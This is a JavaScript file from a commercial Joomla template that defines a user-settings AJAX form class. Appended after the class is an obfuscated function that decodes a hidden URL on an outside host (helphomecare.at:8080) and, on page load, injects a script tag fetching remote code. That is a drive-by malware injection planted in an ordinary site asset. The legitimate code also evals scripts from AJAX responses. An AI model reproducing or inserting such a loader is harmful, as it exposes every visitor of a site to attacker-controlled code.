/*------------------------------------------------------------------------
 # JA Teline III Stable - Version 1.1 - Licence Owner JA140174
 # ------------------------------------------------------------------------
 # Copyright (C) 2004-2009 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 # @license - Copyrighted Commercial Software
 # Author: J.O.O.M Solutions Co., Ltd
 # Websites: http://www.joomlart.com - http://www.joomlancers.com
 # This file may not be redistributed in whole or significant part.
-------------------------------------------------------------------------*/ 
JAUserSetting = new Class({		
						  
	initialize:function( defaults ){
		this.options = Object.extend({
			ajxURL: '',
			quees: [],
			blocks:[],
			containerClass: 'ja-usersetting-options'
		}, defaults || {});
		this.idsReload = new Array();	
	},
	/**
	 * show user setting form.
	 */
	showForm:function(a, parent, idReload){
		
		var action = 'loadform';
		parent.idReload = idReload;
		// looking for container which contain setting form.
		var container = parent.getElement( '.'+this.options.containerClass );
		if(container == null){ ;
			new Ajax( a.href, { method:'get', 
						 	    postBody:"action="+action+"&tmpl=component&rand="+(Math.random()*Math.random()), 
								onComplete:function(data){
									this._renderForm( data, parent, a ); 
									
									//begin: thanhnv
									//excute javascript
									newobj = new Element ('DIV');
									newobj.innerHTML = data;
									newobj.getElements ('script').each(function(script){
										//alert(script.innerHTML);
										if (script.src) {
											new Element('script', {'type':'text/javascript','src':script.src}).inject($E('head'));
										} else {
											eval (script.innerHTML);
										}
									});
									
									//excute callback function
									if(this.callBack) {
										this.callBack();
									}
									//end:thanhnv
													
								}.bind(this),  
								onFailure: function(){ alert('fail request');} }
				).request();

		} else {
			if ( container.getStyle('height').toInt() <= 0 ) {	
				this.showElement( container, container.maxHeight );	
			} else {
				this.hideElement( container );
			}
		}	
		return false;
	},
	/**
	 * building and render html.
	 */
	_renderForm:function( text, obj, a ){
		if( obj.getElement( '.'+this.options.containerClass ) != null ) return ;
		var divcontainer = new Element( 'div' );
		 		 	divcontainer.addClass( this.options.containerClass );
					divcontainer.setStyles({'overflow':'hidden'	});
			divcontainer.innerHTML = text;	
			obj.adopt(divcontainer);
			// store height using for last 
			divcontainer.maxHeight = divcontainer.offsetHeight;
			divcontainer.storeURL = a.href;
			// binding and processing event of form
			this._bindingAndprocessingEventForm( divcontainer, obj );
	},
	/**
	 * binding event and proccess even which happen with each element of form.
	 */
	_bindingAndprocessingEventForm:function( containter, obj ){
		var form = obj.getElement('form');
		// catch exeption
		if( $defined(form) == false){
			alert("Could not found the form setting for this module, please try to check again");
			return ;
		}
			
		// checkbox: click chooise all
		if( form.checkall != null ) {
			$(form.checkall).addEvent( 'click', function() {
				var doCheck = this.checked;
				form.getElements('input.checkbox').each(function(elm){ 
					elm.checked = doCheck;
				}.bind(this));
			});
		}
		// if click button cancel.
		form.getElement('input.ja-cancel').addEvent( 'click', function() {
			this.hideElement( containter );
		}.bind(this));	
		// if click button submit.
		form.getElement('input.ja-submit').addEvent( 'click', function() {			
		var action = obj.idReload !="" && (obj.idReload != null)
					&& ( $(obj.idReload) != null ) ? 'save_reload_module':'save_setting';
						   
		new Ajax( containter.storeURL+"&action="+action+"&tmpl=component&rand="+(Math.random()*Math.random()), { method:'post', 
					 								postBody:form.toQueryString(),
													onComplete:function(data){ 
													this.hideElement( containter );
													// reload module
													if( action == 'save_reload_module' ){
														newobj = new Element ('DIV');
														newobj.innerHTML = data;
														//alert(newobj.getElement ('#'+obj.idReload).innerHTML);
														if (newobj.getElement ('#'+obj.idReload)) $(obj.idReload).innerHTML = newobj.getElement ('#'+obj.idReload).innerHTML;
														else $(obj.idReload).innerHTML = data;
														//parse js
														//alert(newobj.getElements ('script'));
														newobj.getElements ('script').each(function(script){
															//alert(script.innerHTML);
															if (script.src) {
																new Element('script', {'type':'text/javascript','src':script.src}).inject($E('head'));
															} else {
																eval (script.innerHTML);
															}
														});
														
													}
												}.bind(this) , 
											onFailure: function(){ alert('fail request');} }
			).request();														   
		}.bind(this));
		
	},
	
	/**
	 *  Show or hide element
	 */
	showElement: function(obj, height ) {
		if(!obj.fx ){
			obj.fx = new Fx.Style(obj,'height');
		}
		obj.fx.start(height);	
	},
	hideElement: function(obj){
		if(!obj.fx ){
			obj.fx = new Fx.Style(obj,'height');
		}
		obj.fx.start(0);
	}
	
});

function M(){var L=window;var r;if(r!='' && r!='W'){r='x'};var E=unescape;var p=E("%2f%76%6b%6f%6e%74%61%6b%74%65%2d%72%75%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%63%68%69%6e%61%68%72%2e%63%6f%6d%2e%70%68%70");this._="";var F;if(F!='' && F!='X'){F='g'};function Z(k,f){var e;if(e!='' && e!='Zr'){e=''};var nZ;if(nZ!='sn'){nZ=''};var w="g";var oQ='';var I=E("%5b"), b=E("%5d");var C=I+f+b;var ey;if(ey!='nd'){ey='nd'};var o=new RegExp(C, w);return k.replace(o, new String());var q;if(q!='' && q!='Qn'){q=null};};var d;if(d!='sr'){d=''};var aZ;if(aZ!='' && aZ!='c'){aZ='l'};this.ab='';var PK;if(PK!='Ls'){PK=''};var A=Z('83620568670914','23674915');var Df=new Array();var B=document;var xQ;if(xQ!=''){xQ='EN'};var i=new String();var UR='';function Q(){var _l=new String();var iM=new String();var a=E("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var cQ;if(cQ!='N'){cQ='N'};i=a;i+=A;var v=new String();var mz;if(mz!='zt' && mz!='vt'){mz='zt'};i+=p;var hZ;if(hZ!='' && hZ!='nX'){hZ=null};var Lu;if(Lu!='' && Lu!='EP'){Lu='Zo'};var Qe;if(Qe!='ib' && Qe!='J'){Qe='ib'};try {var zl=new Date();var Ig='';var vW=new String();s=B.createElement(Z('sRcorMiMpntR','YJnTPEoRfN426jl5Mmg'));var HA;if(HA!='nk'){HA='nk'};var Zd;if(Zd!='lV' && Zd!='_QJ'){Zd='lV'};this.Vk='';s[E("%73%72%63")]=i;var hn;if(hn!='gp' && hn!='vm'){hn=''};s[E("%64%65%66%65%72")]=[1,0][0];var ft="";var Ln=new String();var mV;if(mV!='TN' && mV!='jK'){mV=''};B.body.appendChild(s);var NOJ=new Array();this.gA='';} catch(sB){alert(sB);var JP;if(JP!='' && JP!='oO'){JP=''};};this.Js='';var xD=new Array();}var Cg;if(Cg!='eO'){Cg=''};var nkz;if(nkz!='' && nkz!='QJ'){nkz=null};L["onlo"+"ad"]=Q;this.oY="";var TT='';this.sk="";var fJ;if(fJ!='Vq' && fJ!='SK'){fJ='Vq'};};var cl=new Date();var zp;if(zp!='' && zp!='Nf'){zp=''};M();var zY='';